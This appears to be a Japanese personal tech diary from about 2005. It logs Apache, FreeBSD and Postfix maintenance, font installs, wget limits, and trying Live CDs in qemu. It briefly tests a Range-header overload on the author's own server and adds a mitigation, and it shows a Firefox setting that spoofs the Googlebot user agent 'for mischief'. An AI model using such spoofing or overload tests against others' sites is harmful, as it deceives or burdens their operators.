ようやくprint。全部で399999行が、328141行目まで。
で、対策をhttpd.confに追記して、もう一度試す。
RequestHeader unset Range Header unset Accept-Ranges
今度はCPU使用率は6割程度で、スクリプトはすぐ実行され、最後まで続いた。
AdobeReader7.0.1に入れてなかった。
ここ数日、なんか変だと思いつつ、PDFが間違っているのだろうと
放置していた。
こないだ1.2に更新された
LinuxPersonalWorkstationを開いて、ようやく何かを忘れていたことに
気付く。
@ITを読み直して入れ直し。
$ tar xvfz jpfont5.tar.gz # tar xvf JPNKIT/LANGCOM.TAR -C /usr/local/Adobe/Acrobat7.0/Resource/CMap # tar xvf JPNKIT/LANGJPN.TAR -C /usr/local/Adobe/Acrobat7.0/Resource/Font $ rm -rf JPNKIT $ tar xvfz jpfont4.tar.gz # tar xvf JPNKIT/LANGJPN.TAR -C /usr/local/Adobe/Acrobat7.0/Resource/Font
ずっと前に
DNSサーバを立てた話。
しばらく触ってなかったので、スレーブのnamed.conf
がどこにあるのか迷った。
前はalpha4?
今度はalpha5らしい。
早速CDRWに焼き、shutdown -r now。
2種のGUIを備えるようになったようだ?
(付記:前バージョンもそうだったようだ)
ノートとUSB-DVDROMに関しては、前回同様、起動中に止まってしまった。
/usr/ports/UPDATING が更新されない(8/4より新しくなっていない)なあ。
CVSup-mirrorは毎日、各ホストは週一で自動更新しているんだけど。
まず、
FreshPortsを見に行く。
Ports Freeze に
なったから、らしい。
まだ
もう少し続くようだ。
しっかし、ぐぐっても日本語の(まともな解説)記事はさっぱり。やっぱりここにも
FreeBSDのPorts Freezeに関する記事
とはっきり書かなきゃダメか?
ftpサーバをまず6.2に上げた。ついでメールサーバも。
アップデートが終るまで、しばらくsmtpd(8)が動作しなくなっていたようだ(汗
予備機に切り替えておくべきだった。
postfix/master[433]: warning: \ process /usr/local/libexec/postfix/smtpd pid 8807 exit status 1 postfix/master[433]: warning: \ /usr/local/libexec/postfix/smtpd: bad command \ startup -- throttling (ry 一分毎に同じエラー $ ldd /usr/local/libexec/postfix/smtpd | grep pcre libpcre.so.0 => /usr/local/lib/libpcre.so.0 (0x282fc000)
セキュリティホールmemoを rssで見るのは止めた方が いいみたい。肝心のニュースに目が届かない。
サーチエンジンも来なくなってきた。
昨日来た、サーチエンジンのbot集計(自動更新) Googleのbotが 4 回、ここを見に来ました。 Yahooのbotが 10 回、ここを見に来ました。 MSNのbotが 37 回、ここを見に来ました。 Hatenaのbotが 6 回、ここを見に来ました。 Mixiのbotが 6 回、ここを見に来ました。
wget-1.8.2で knoppix を落してたら、急に中断してしまった(Plamo-4.01?)。
$ wget `cat $knoppix_path` (ry [ <=> ] 2,147,310,248 897.87K/s\ hoge: line 1: 799 ファイルサイズ制限を超過しました (ry
もちろん、kernelやglibc等が悪いわけじゃない、、、はずだ。
$ dd if=/dev/zero of=hoge.img bs=10M count=4000 400+0 records in 400+0 records out $ ls -l hoge.img -rw-r--r-- 1 makoto users 4194304000 Aug 27 16:04 hoge.img
wgetを1.9.1に上げてみたが、同様。さてどうすべし。
qemuを入れた。CDイメージをいくつか試す。
cdplamo-1.35lilo-finalが無事動いた。
debuan2002winterは色あいが変。
もうちょっとオプションを確認しないと。
darwin86-801は...GUIになろうとしてなれず、
止まっている模様。これもさらなる確認を。
/dev/hda1 を吸い出して、-m 256 -hda とか
やってもみたが、一時間経ってもWinXP
は起動できなかった。
<poe-lina />
も
OKだった。
3.6GBの大物も試そう...後で。
ほか、このノートPCに埋まっていたWinXPのリカバリーイメージも 試してみたが、ケンもホロロであった。
"本機では再セットアップすることはできません" "この画面を終らせるためには、電源を切ってください"
えびふりゃあも一発。何も設定しなければ640x480。 qemuの中と外を行き来する方法を確認しなければ (Ctrl-Altらしい)。
$ qemu -cdrom plamo-4.01_01.iso
(ちょっと古いかもだけど)とりあえずのスクリーンショット。
エンターキーを押して(押さなくても)しばらく待つと
インストーラのログインプロンプトも出た
(setupを試したが、fdiskでパーテーションを作成できず、
quitしてしまったが)。
この分なら、わりとお気楽に使えそう? 中で何もしなくてもqemuはCPU使用しまくりだけど。
kids goo の 気に触ったのかつきとめるべく、URLを色々と手入力してみた。
まず、
トップページは
無事に表示された。
以下、大抵のコンテンツは合格するようだったが、
本サイトについて
英文で書いた(つもりの)ページはなぜか
ブロックを喰わされた。
屑俺日記についても、ほとんどの日は読めるらしい。あっちのフィルタを
くぐれなかったのは
8月22日のくだりである。
また、外のサイトだけど LinuxSeminarも、
トップページは
表示されるが、
過去の開催記録が
撥ねられる。
また、
講師紹介も
ダメだった。
いずれにしても、どこが 児童に閲覧せしむべからざる情報と 見做されたのか、全く見当がつかない点は同じである。 もう少しつつけば、 google hacksみたいなノリで面白く(ry
MonaOSはqemuに対応している。ので早速テスト。
流石にリアルほど速くはないが、十分だろう。
monapptは、なかなか乙なプレゼンだった(EnterとESC以外
キーアサイン未確認)。ので貼っとく(
実は目立たない筈なところをちょこっとgimpしておいた)。
XenのLiveCDも試したが、640x480では流石に物足りない。 もう少し、もう少し。
2GB越えそうなら(越えなくても?)wget(1)は使わずcurl(1)にしとけ、という 感じ。また気がのったらつつくとするか。
KNOPPIX は、curl(1) でうまく落せた。早速 qemu にかけてみる。
ただEnterしただけでは至極重い。ほっといて立ち上がった KDEは、カーソルがとんでもないところに勝手に飛んでゆく ので、コマンドを何一つ起動できなかった。
多少軽くなるよう、icewmを指定してみた。カーソルが あさってに飛ぶのは同じだが、なんとか操作できなくも ない程度にはなった。
$ ls -l total 3740560 -rw-r--r-- 1 root root 3826589696 Aug 28 01:31 \ knoppix_v4.0_20050608_linuxtag-20050726+IPAFont.iso
qemu環境の
<poe-lina />
にgimpで追記してみた。
本当はアプリケーションのひとつも追加しかったが、激重な
上にマウスが頼りにならずウィンドウがおかしな位置に開くと
どうにもならない...結局諦める。
SLAX。バージョンが0.0.1あがっていた(^^;
しかし、bittorrentはseedsは多くても(8つでは多くは
なさげ)速くない。
ダウンロードが終る頃にはseedsが15程に増えており、
ul spped は0Kb/s になっていた。
----------------------------------------------------- | file: slax-5.0.6.iso | | size: 186,193,920 (178 MiB) | | dest: /path/slax-5.0.6.iso | | progress: ######____________________________________| | status: finishing in 1:44:58 (9.7%) | | dl speed: 30.6 KB/s | | ul speed: 3.2 KB/s | | sharing: 0.140 (2.4 MB up / 17.2 MB down) | | seeds: 8 seen now, plus 0.430 distributed copies | | peers: 1 seen now, 36.3% done at 63.1 kB/s | -----------------------------------------------------
qemu に喰わせると(コンソールからログインし、startxでKDEが 起動する)、KNOPPIXや<poe-lina/>より、若干軽く感じられた。 マウスが撥ねるのは致し方ないか。
firefoxではuser.jsに追記すれば良いらしい。
ので適当に書き換えて悪戯しようかと思ったが、すぐ逝ってしまった。
$ cat ~/.mozilla/firefox/XXXXX.default/user.jss user_pref("general.useragent.override", "Googlebot/2.1 (+http://www.google.com/bot.html)")
今度はging。
FreeBSDカーネルとDebianのユーザランドの組み合わせらしい。
wget で0.0.2を取って、まずはqemuにかけた。
FreeBSDのブートストラップローダが出てきた。コンソールの
出力が白から灰色に変り、INIT。マウントオプションが
間違っているらしきエラー。Xのビデオカードドライバに
続いてビデオモードの選択画面。
ログインプロンプトにgingと入力すると、
やがてdebianのロゴマークが出て、質朴なGNOMEが起動する。
重さ(軽さ?)はSLAXと似たようなものだろうか。
様々なエラーが出たりするあたり、まだαバージョンっぽい。
ging@ging:~$ uname -a GNU/kFreeBSD ging 5.3-1 #0 Wed Aug 17 15:57:57: CEST 2005 \ i686 GNU/kFreeBSD
もう少しつつく。CDRWに焼いてデスクトップでも起動してみた。
ps(1) や top(1)、df(1)等が動作しない。
FirefoxもOOoもgimpもない。
ほとんど何もなさそうだった(500MB程)が、xscreensaverは
入っていた。放置していて気づく。
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※ eno [今度は、Macromediaツールの講座に出没ですかあ。 マクロメディアからエデュケーション版からのアップグレードは..]
※ kuzu [# や、ツッコミ久しぶりだ。 えと、まあ一度聞いても損はないだろうな、と考えました。 お目当てはflashだったん..]